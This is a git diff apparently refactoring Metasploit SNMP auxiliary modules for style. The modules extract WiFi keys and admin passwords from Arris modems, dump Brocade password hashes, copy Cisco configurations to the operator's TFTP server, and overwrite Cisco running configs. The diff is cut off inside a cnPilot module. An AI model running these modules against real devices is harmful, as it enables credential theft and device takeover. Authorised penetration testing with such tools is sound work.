diff --git a/modules/auxiliary/scanner/snmp/aix_version.rb b/modules/auxiliary/scanner/snmp/aix_version.rb index ce18902475..53d773b45e 100644 --- a/modules/auxiliary/scanner/snmp/aix_version.rb +++ b/modules/auxiliary/scanner/snmp/aix_version.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report @@ -10,64 +11,68 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'AIX SNMP Scanner Auxiliary Module', - 'Description' => 'AIX SNMP Scanner Auxiliary Module', - 'Author' => - [ - 'Ramon de C Valle', - 'Adriano Lima ', - ], - 'License' => MSF_LICENSE + 'Name' => 'AIX SNMP Scanner', + 'Description' => 'AIX SNMP scanner auxiliary module.', + 'Author' => [ + 'Ramon de C Valle', + 'Adriano Lima ', + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) - end def run_host(ip) - begin - snmp = connect_snmp + snmp = connect_snmp - value = snmp.get_value('sysDescr.0') + value = snmp.get_value('sysDescr.0') - if value =~ /AIX/ - value = value.split("\n") - description = value[0].strip - value = value[2].split(':') - - value = value[1].strip - value = value.split('.') - - value[0] = value[0].to_i - value[1] = value[1].to_i - value[2] = value[2].to_i - value[3] = value[3].to_i - - version = "#{value[0]}.#{value[1]}.#{value[2]}.#{value[3]}" - - report_note( - :host => ip, - :proto => 'udp', - :sname => 'snmp', - :port => datastore['RPORT'], - :type => 'AIX', - :data => { :version => version } - ) - - status = "#{ip} (#{description}) is running: " - status << "IBM AIX Version #{value[0]}.#{value[1]}.#{value[3]} " - status << "(#{version})" - - print_status(status) - end - - # No need to make noise about timeouts - rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion - rescue ::Interrupt - raise $! - rescue Exception => e - print_error("#{ip} #{e.class}, #{e.message}") - ensure - disconnect_snmp + unless value =~ /AIX/ + print_error("#{ip} system is not AIX: #{value}") + return end + value = value.split("\n") + description = value[0].strip + value = value[2].split(':') + + value = value[1].strip + value = value.split('.') + + value[0] = value[0].to_i + value[1] = value[1].to_i + value[2] = value[2].to_i + value[3] = value[3].to_i + + version = "#{value[0]}.#{value[1]}.#{value[2]}.#{value[3]}" + + report_note( + host: ip, + proto: 'udp', + sname: 'snmp', + port: datastore['RPORT'], + type: 'AIX', + data: { version: version } + ) + + status = "#{ip} (#{description}) is running: " + status << "IBM AIX Version #{value[0]}.#{value[1]}.#{value[3]} " + status << "(#{version})" + + print_status(status) + rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout + # No need to make noise about timeouts + rescue ::SNMP::UnsupportedVersion => e + vprint_error(e.message) + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("#{ip} #{e.class}, #{e.message}") + ensure + disconnect_snmp end end diff --git a/modules/auxiliary/scanner/snmp/arris_dg950.rb b/modules/auxiliary/scanner/snmp/arris_dg950.rb index 54ef4a48d0..38de4a5f69 100644 --- a/modules/auxiliary/scanner/snmp/arris_dg950.rb +++ b/modules/auxiliary/scanner/snmp/arris_dg950.rb @@ -10,47 +10,51 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Arris DG950A Cable Modem Wifi Enumeration', + 'Name' => 'Arris DG950A Cable Modem Wifi Enumeration', 'Description' => %q{ This module will extract WEP keys and WPA preshared keys from Arris DG950A cable modems. }, - 'References' => - [ - ['CVE','2014-4863'], - ['URL', 'https://www.rapid7.com/blog/post/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863/'] - ], - 'Author' => ['Deral "Percent_X" Heiland'], - 'License' => MSF_LICENSE + 'References' => [ + ['CVE', '2014-4863'], + ['URL', 'https://www.rapid7.com/blog/post/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863/'] + ], + 'Author' => ['Deral "Percent_X" Heiland'], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) end def run_host(ip) snmp = connect_snmp - if snmp.get_value('sysDescr.0') =~ /DG950A/ - print_line("#{ip}") - - # System Admin Password - wifi_info = '' - password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') - print_line("Password: #{password}") - wifi_info << "Password: #{password}" << "\n" - else - fail_with(Failure::NoTarget, "Does not appear to be an Arris DG950A") + unless snmp.get_value('sysDescr.0') =~ /DG950A/ + fail_with(Failure::NoTarget, 'Does not appear to be an Arris DG950A') end + print_line(ip.to_s) + + # System Admin Password + wifi_info = '' + password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') + print_line("Password: #{password}") + wifi_info << "Password: #{password}" << "\n" + # check WPA Encryption Algorithm encrypt_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12') case encrypt_type when 1 - wpa_encrypt = "TKIP" + wpa_encrypt = 'TKIP' when 2 - wpa_encrypt = "AES" + wpa_encrypt = 'AES' when 3 - wpa_encrypt = "TKIP/AES" + wpa_encrypt = 'TKIP/AES' else - wpa_encrypt = "Unknown" + wpa_encrypt = 'Unknown' end # Wifi Status @@ -71,26 +75,26 @@ class MetasploitModule < Msf::Auxiliary wep_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12') case wep_type when 1 - oid = "1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12" + oid = '1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12' when 2 - oid = "1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12" + oid = '1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12' else print_line('FAILED') end wepkey1 = snmp.get_value("#{oid}.1") - key1 = "#{wepkey1}" + key1 = wepkey1.to_s print_line("WEP KEY1: #{key1}") wifi_info << "WEP KEY1: #{key1}" << "\n" wepkey2 = snmp.get_value("#{oid}.2") - key2 = "#{wepkey2}" + key2 = wepkey2.to_s print_line("WEP KEY2: #{key2}") wifi_info << "WEP KEY2: #{key2}" << "\n" wepkey3 = snmp.get_value("#{oid}.3") - key3 = "#{wepkey3}" + key3 = wepkey3.to_s print_line("WEP KEY3: #{key3}") wifi_info << "WEP KEY3: #{key3}" << "\n" wepkey4 = snmp.get_value("#{oid}.4") - key4 = "#{wepkey4}" + key4 = wepkey4.to_s print_line("WEP KEY4: #{key4}") wifi_info << "WEP KEY4: #{key4}" << "\n" @@ -122,21 +126,21 @@ class MetasploitModule < Msf::Auxiliary print_line('FAILED') end else - print_line('WIFI is not enabled') + print_line('WiFi is not enabled') end # Woot we got loot. - loot_name = 'arris_wifi' - loot_type = 'text/plain' + loot_name = 'arris_wifi' + loot_type = 'text/plain' loot_filename = 'arris_wifi.text' - loot_desc = 'Arris DG950A Wifi configuration data' + loot_desc = 'Arris DG950A WiFi configuration data' p = store_loot(loot_name, loot_type, datastore['RHOST'], wifi_info, loot_filename, loot_desc) print_good("WiFi Data saved in: #{p}") - # No need to make noise - rescue ::SNMP::UnsupportedVersion + rescue ::SNMP::UnsupportedVersion => e + vprint_error(e.message) rescue ::SNMP::RequestTimeout raise $ERROR_INFO - rescue ::Exception => e + rescue StandardError => e print_error("#{ip} error: #{e.class} #{e.message}") disconnect_snmp end diff --git a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb index 2278b2e27e..2ce4dadbdf 100644 --- a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb +++ b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report @@ -10,62 +11,74 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Brocade Password Hash Enumeration', + 'Name' => 'Brocade Password Hash Enumeration', 'Description' => %q{ This module extracts password hashes from certain Brocade load balancer devices. }, - 'References' => - [ - [ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ] - ], - 'Author' => ['Deral "PercentX" Heiland'], - 'License' => MSF_LICENSE + 'References' => [ + [ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ] + ], + 'Author' => ['Deral "PercentX" Heiland'], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) - end def run_host(ip) - begin - snmp = connect_snmp + snmp = connect_snmp - if snmp.get_value('sysDescr.0') =~ /Brocade/ + value = snmp.get_value('sysDescr.0') - @users = [] - snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.1") do |row| - row.each { |val| @users << val.value.to_s } - end + unless value =~ /Brocade/ + print_error("#{ip} - System is not Brocade: #{value}") + return + end - @hashes = [] - snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.2") do |row| - row.each { |val| @hashes << val.value.to_s } - end + @users = [] + snmp.walk('1.3.6.1.4.1.1991.1.1.2.9.2.1.1') do |row| + row.each { |val| @users << val.value.to_s } + end - print_good("#{ip} - Found user and password hashes:") - end + @hashes = [] + snmp.walk('1.3.6.1.4.1.1991.1.1.2.9.2.1.2') do |row| + row.each { |val| @hashes << val.value.to_s } + end - credinfo = "" - @users.each_index do |i| - credinfo << "#{@users[i]}:#{@hashes[i]}" << "\n" - print_good("#{@users[i]}:#{@hashes[i]}") - end + print_good("#{ip} - Found user and password hashes:") + credinfo = '' + @users.each_index do |i| + credinfo << "#{@users[i]}:#{@hashes[i]}" << "\n" + print_good("#{@users[i]}:#{@hashes[i]}") + end - #Woot we got loot. - loot_name = "brocade.hashes" - loot_type = "text/plain" - loot_filename = "brocade_hashes.txt" - loot_desc = "Brodace username and password hashes" - p = store_loot(loot_name, loot_type, datastore['RHOST'], credinfo , loot_filename, loot_desc) - - print_status("Credentials saved: #{p}") - rescue ::SNMP::UnsupportedVersion - rescue ::SNMP::RequestTimeout - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip} - Error: #{e.class} #{e}") - disconnect_snmp - end + # Woot we got loot. + loot_name = 'brocade.hashes' + loot_type = 'text/plain' + loot_filename = 'brocade_hashes.txt' + loot_desc = 'Brocade username and password hashes' + p = store_loot( + loot_name, + loot_type, + datastore['RHOST'], + credinfo, + loot_filename, + loot_desc + ) + print_status("Credentials saved: #{p}") + rescue ::SNMP::UnsupportedVersion => e + vprint_error("#{ip} - #{e.message}") + rescue ::SNMP::RequestTimeout => e + vprint_error("#{ip} - #{e.message}") + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("#{ip} - Error: #{e.class} #{e}") + disconnect_snmp end end diff --git a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb index fca4ddb476..5c4807aa2a 100644 --- a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb +++ b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Cisco @@ -10,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Cisco IOS SNMP Configuration Grabber (TFTP)', + 'Name' => 'Cisco IOS SNMP Configuration Grabber (TFTP)', 'Description' => %q{ This module will download the startup or running configuration from a Cisco IOS device using SNMP and TFTP. A read-write SNMP @@ -19,34 +20,38 @@ class MetasploitModule < Msf::Auxiliary be able to connect back to the Metasploit system and the use of NAT will cause the TFTP transfer to fail. }, - 'Author' => - [ - 'pello ', 'hdm' - ], - 'License' => MSF_LICENSE + 'Author' => [ + 'pello ', + 'hdm' + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options([ - OptEnum.new("SOURCE", [true, "Grab the startup (3) or running (4) configuration", "4", ["3","4"]]), - OptString.new('OUTPUTDIR', [ false, "The directory where we should save the configuration files (disabled by default)"]), - OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]) + OptEnum.new('SOURCE', [true, 'Grab the startup (3) or running (4) configuration', '4', ['3', '4']]), + OptString.new('OUTPUTDIR', [ false, 'The directory where we should save the configuration files (disabled by default)']), + OptAddressLocal.new('LHOST', [ false, 'The IP address of the system running this module' ]) ]) end - # # Start the TFTP Server # def setup # Setup is called only once - print_status("Starting TFTP server...") + print_status('Starting TFTP server...') @tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self }) - @tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) } + @tftp.incoming_file_hook = proc { |info| process_incoming(info) } @tftp.start add_socket(@tftp.sock) @main_thread = ::Thread.current - print_status("Scanning for vulnerable targets...") + print_status('Scanning for vulnerable targets...') end # @@ -56,12 +61,16 @@ class MetasploitModule < Msf::Auxiliary # Cleanup is called once for every single thread if ::Thread.current == @main_thread # Wait 5 seconds for background transfers to complete - print_status("Providing some time for transfers to complete...") + print_status('Providing some time for transfers to complete...') ::IO.select(nil, nil, nil, 5.0) - print_status("Shutting down the TFTP service...") + print_status('Shutting down the TFTP service...') if @tftp - @tftp.close rescue nil + begin + @tftp.close + rescue StandardError + nil + end @tftp = nil end end @@ -71,11 +80,12 @@ class MetasploitModule < Msf::Auxiliary # Callback for incoming files # def process_incoming(info) - return if not info[:file] + return if !info[:file] + name = info[:file][:name] data = info[:file][:data] from = info[:from] - return if not (name and data) + return if !(name && data) # Trim off IPv6 mapped IPv4 if necessary from = from[0].dup @@ -88,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary name = "#{from}.txt" ::FileUtils.mkdir_p(datastore['OUTPUTDIR']) path = ::File.join(datastore['OUTPUTDIR'], name) - ::File.open(path, "wb") do |fd| + ::File.open(path, 'wb') do |fd| fd.write(data) end print_status("Saved configuration file to #{path}") @@ -99,57 +109,54 @@ class MetasploitModule < Msf::Auxiliary end def run_host(ip) + source = datastore['SOURCE'].to_i + protocol = 1 + filename = "#{ip}.txt" + lhost = datastore['LHOST'] || Rex::Socket.source_address(ip) - begin - source = datastore['SOURCE'].to_i - protocol = 1 - filename = "#{ip}.txt" - lhost = datastore['LHOST'] || Rex::Socket.source_address(ip) + ccconfigcopyprotocol = '1.3.6.1.4.1.9.9.96.1.1.1.1.2.' + cccopysourcefiletype = '1.3.6.1.4.1.9.9.96.1.1.1.1.3.' + cccopydestfiletype = '1.3.6.1.4.1.9.9.96.1.1.1.1.4.' + cccopyserveraddress = '1.3.6.1.4.1.9.9.96.1.1.1.1.5.' + cccopyfilename = '1.3.6.1.4.1.9.9.96.1.1.1.1.6.' + cccopyentryrowstatus = '1.3.6.1.4.1.9.9.96.1.1.1.1.14.' - ccconfigcopyprotocol = "1.3.6.1.4.1.9.9.96.1.1.1.1.2." - cccopysourcefiletype = "1.3.6.1.4.1.9.9.96.1.1.1.1.3." - cccopydestfiletype = "1.3.6.1.4.1.9.9.96.1.1.1.1.4." - cccopyserveraddress = "1.3.6.1.4.1.9.9.96.1.1.1.1.5." - cccopyfilename = "1.3.6.1.4.1.9.9.96.1.1.1.1.6." - cccopyentryrowstatus = "1.3.6.1.4.1.9.9.96.1.1.1.1.14." + session = rand(1..255) - session = rand(255) + 1 + snmp = connect_snmp - snmp = connect_snmp + varbind = SNMP::VarBind.new("#{ccconfigcopyprotocol}#{session}", SNMP::Integer.new(protocol)) + snmp.set(varbind) + # If the above line didn't throw an error, the host is alive and the community is valid + print_status("Trying to acquire configuration from #{ip}...") - varbind = SNMP::VarBind.new("#{ccconfigcopyprotocol}#{session}" , SNMP::Integer.new(protocol)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{cccopysourcefiletype}#{session}", SNMP::Integer.new(source)) + snmp.set(varbind) - # If the above line didn't throw an error, the host is alive and the community is valid - print_status("Trying to acquire configuration from #{ip}...") + varbind = SNMP::VarBind.new("#{cccopydestfiletype}#{session}", SNMP::Integer.new(1)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{cccopysourcefiletype}#{session}" , SNMP::Integer.new(source)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{cccopyserveraddress}#{session}", SNMP::IpAddress.new(lhost)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{cccopydestfiletype}#{session}", SNMP::Integer.new(1)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{cccopyfilename}#{session}", SNMP::OctetString.new(filename)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{cccopyserveraddress}#{session}", SNMP::IpAddress.new(lhost)) - value = snmp.set(varbind) - - varbind = SNMP::VarBind.new("#{cccopyfilename}#{session}", SNMP::OctetString.new(filename)) - value = snmp.set(varbind) - - varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(1)) - value = snmp.set(varbind) - - varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(6)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(1)) + snmp.set(varbind) + varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(6)) + snmp.set(varbind) + rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout # No need to make noise about timeouts - rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}") - ensure - disconnect_snmp - end + rescue ::SNMP::UnsupportedVersion => e + vprint_error(e.message) + rescue ::Interrupt + raise $ERROR_INFO + rescue ::StandardError => e + print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}") + ensure + disconnect_snmp end end diff --git a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb index edb91e4212..b27714b37d 100644 --- a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb +++ b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Cisco @@ -10,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Cisco IOS SNMP File Upload (TFTP)', + 'Name' => 'Cisco IOS SNMP File Upload (TFTP)', 'Description' => %q{ This module will copy file to a Cisco IOS device using SNMP and TFTP. The action Override_Config will override the running config of the Cisco device. @@ -19,42 +20,45 @@ class MetasploitModule < Msf::Auxiliary be able to connect back to the Metasploit system and the use of NAT will cause the TFTP transfer to fail. }, - 'Author' => + 'Author' => [ + 'pello ', + 'ct5595' + ], + 'License' => MSF_LICENSE, + 'Actions' => [ [ - 'pello ', - 'ct5595' + 'Upload_File', + { + 'Description' => 'Upload the file', + 'ciscoFlashCopyProtocol' => '1.3.6.1.4.1.9.9.10.1.2.1.1.3.', + 'ciscoFlashCopyServerAddress' => '1.3.6.1.4.1.9.9.10.1.2.1.1.4.', + 'ciscoFlashCopySourceName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.5.', + 'ciscoFlashCopyDestinationName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.6.' + } ], - 'License' => MSF_LICENSE, - 'Actions' => [ - [ - 'Upload_File', - { - 'Description' => 'Upload the file', - 'ciscoFlashCopyProtocol' => '1.3.6.1.4.1.9.9.10.1.2.1.1.3.', - 'ciscoFlashCopyServerAddress' => '1.3.6.1.4.1.9.9.10.1.2.1.1.4.', - 'ciscoFlashCopySourceName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.5.', - 'ciscoFlashCopyDestinationName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.6.', - } - ], - [ - 'Override_Config', - { - 'Description' => 'Override the running config', - 'ccCopyProtocol' => '1.3.6.1.4.1.9.9.96.1.1.1.1.2.', - 'ccCopySourceFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.3.', - 'ccCopyDestFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.4.', - 'ccCopyServerAddress' => '1.3.6.1.4.1.9.9.96.1.1.1.1.5.', - 'ccCopyFileName' => '1.3.6.1.4.1.9.9.96.1.1.1.1.6.', - 'ccCopyEntryRowStatus' => '1.3.6.1.4.1.9.9.96.1.1.1.1.14.' - } - ] - ], - 'DefaultAction' => 'Upload_File' + 'Override_Config', + { + 'Description' => 'Override the running config', + 'ccCopyProtocol' => '1.3.6.1.4.1.9.9.96.1.1.1.1.2.', + 'ccCopySourceFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.3.', + 'ccCopyDestFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.4.', + 'ccCopyServerAddress' => '1.3.6.1.4.1.9.9.96.1.1.1.1.5.', + 'ccCopyFileName' => '1.3.6.1.4.1.9.9.96.1.1.1.1.6.', + 'ccCopyEntryRowStatus' => '1.3.6.1.4.1.9.9.96.1.1.1.1.14.' + } + ] + ], + 'DefaultAction' => 'Upload_File', + 'Notes' => { + 'Stability' => [SERVICE_RESOURCE_LOSS], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES], + 'Reliability' => [] + } ) register_options([ - OptPath.new('SOURCE', [true, "The filename to upload" ]), - OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]) + OptPath.new('SOURCE', [true, 'The filename to upload' ]), + OptAddressLocal.new('LHOST', [ false, 'The IP address of the system running this module' ]) ]) end @@ -62,16 +66,15 @@ class MetasploitModule < Msf::Auxiliary # Start the TFTP Server # def setup - - @path = datastore['SOURCE'] - @filename = @path.split(/[\/\\]/)[-1] #/ + @path = datastore['SOURCE'] + @filename = @path.split(%r{[/\\]})[-1] # / # Setup is called only once - print_status("Starting TFTP server...") + print_status('Starting TFTP server...') @tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self }) # Register our file name and data - ::File.open(@path, "rb") do |fd| + ::File.open(@path, 'rb') do |fd| buff = fd.read(fd.stat.size) @tftp.register_file(@filename, buff) end @@ -80,7 +83,6 @@ class MetasploitModule < Msf::Auxiliary add_socket(@tftp.sock) @main_thread = ::Thread.current - end # @@ -90,90 +92,90 @@ class MetasploitModule < Msf::Auxiliary # Cleanup is called once for every single thread if ::Thread.current == @main_thread # Wait 5 seconds for background transfers to complete - print_status("Providing some time for transfers to complete...") + print_status('Providing some time for transfers to complete...') ::IO.select(nil, nil, nil, 5.0) - print_status("Shutting down the TFTP service...") + print_status('Shutting down the TFTP service...') if @tftp - @tftp.close rescue nil + begin + @tftp.close + rescue StandardError + nil + end @tftp = nil end end end def run_host(ip) + lhost = datastore['LHOST'] || Rex::Socket.source_address(ip) - begin - lhost = datastore['LHOST'] || Rex::Socket.source_address(ip) + session = rand(1..255) - session = rand(255) + 1 + snmp = connect_snmp - snmp = connect_snmp + # OID variables to for checking if the host is alive and if the community is valid + cisco_flash_copy_entry_status = '1.3.6.1.4.1.9.9.10.1.2.1.1.11.' + cisco_flash_copy_command = '1.3.6.1.4.1.9.9.10.1.2.1.1.2.' - # OID variables to for checking if the host is alive and if the community is valid - ciscoFlashCopyEntryStatus = '1.3.6.1.4.1.9.9.10.1.2.1.1.11.' - ciscoFlashCopyCommand = '1.3.6.1.4.1.9.9.10.1.2.1.1.2.' + varbind = SNMP::VarBind.new("#{cisco_flash_copy_entry_status}#{session}", SNMP::Integer.new(6)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(6)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{cisco_flash_copy_entry_status}#{session}", SNMP::Integer.new(5)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(5)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{cisco_flash_copy_command}#{session}", SNMP::Integer.new(2)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{ciscoFlashCopyCommand}#{session}" , SNMP::Integer.new(2)) - value = snmp.set(varbind) + # If the above line didn't throw an error, the host is alive and the community is valid + print_status("Copying file #{@filename} to #{ip}...") + if (action.name == 'Upload_File') - # If the above line didn't throw an error, the host is alive and the community is valid - print_status("Copying file #{@filename} to #{ip}...") + varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyProtocol']}#{session}", SNMP::Integer.new(1)) + snmp.set(varbind) - if(action.name == 'Upload_File') + varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyProtocol']}#{session}" , SNMP::Integer.new(1)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopySourceName']}#{session}", SNMP::OctetString.new(@filename)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyDestinationName']}#{session}", SNMP::OctetString.new(@filename)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopySourceName']}#{session}", SNMP::OctetString.new(@filename)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{cisco_flash_copy_entry_status}#{session}", SNMP::Integer.new(1)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyDestinationName']}#{session}", SNMP::OctetString.new(@filename)) - value = snmp.set(varbind) + elsif (action.name == 'Override_Config') - varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(1)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{action.opts['ccCopyProtocol']}#{session}", SNMP::Integer.new(1)) + snmp.set(varbind) - elsif(action.name == 'Override_Config') + varbind = SNMP::VarBind.new("#{action.opts['ccCopySourceFileType']}#{session}", SNMP::Integer.new(1)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{action.opts['ccCopyProtocol']}#{session}" , SNMP::Integer.new(1)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{action.opts['ccCopyDestFileType']}#{session}", SNMP::Integer.new(4)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{action.opts['ccCopySourceFileType']}#{session}" , SNMP::Integer.new(1)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{action.opts['ccCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{action.opts['ccCopyDestFileType']}#{session}" , SNMP::Integer.new(4)) - value = snmp.set(varbind) + varbind = SNMP::VarBind.new("#{action.opts['ccCopyFileName']}#{session}", SNMP::OctetString.new(@filename)) + snmp.set(varbind) - varbind = SNMP::VarBind.new("#{action.opts['ccCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost)) - value = snmp.set(varbind) - - varbind = SNMP::VarBind.new("#{action.opts['ccCopyFileName']}#{session}", SNMP::OctetString.new(@filename)) - value = snmp.set(varbind) - - varbind = SNMP::VarBind.new("#{action.opts['ccCopyEntryRowStatus']}#{session}" , SNMP::Integer.new(1)) - value = snmp.set(varbind) - end - - - # No need to make noise about timeouts - rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}") - ensure - disconnect_snmp + varbind = SNMP::VarBind.new("#{action.opts['ccCopyEntryRowStatus']}#{session}", SNMP::Integer.new(1)) + snmp.set(varbind) end + rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout + # No need to make noise about timeouts + rescue ::SNMP::UnsupportedVersion => e + vprint_error(e.message) + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}") + ensure + disconnect_snmp end end diff --git a/modules/auxiliary/scanner/snmp/cnpilot_r_snmp_loot.rb b/modules/auxiliary/scanner/snmp/cnpilot_r_snmp_loot.rb index 98c7802e46..8cc01543a9 100644 --- a/modules/auxiliary/scanner/snmp/cnpilot_r_snmp_loot.rb +++ b/modules/auxiliary/scanner/snmp/cnpilot_r_snmp_loot.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report @@ -19,125 +20,126 @@ class MetasploitModule < Msf::Auxiliary credentials via SNMP Read-Only (RO) community string. }, 'Author' => ['Karn Ganeshen'], - 'References' => - [ - ['CVE', '2017-5262'], - ['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/'] - ], - 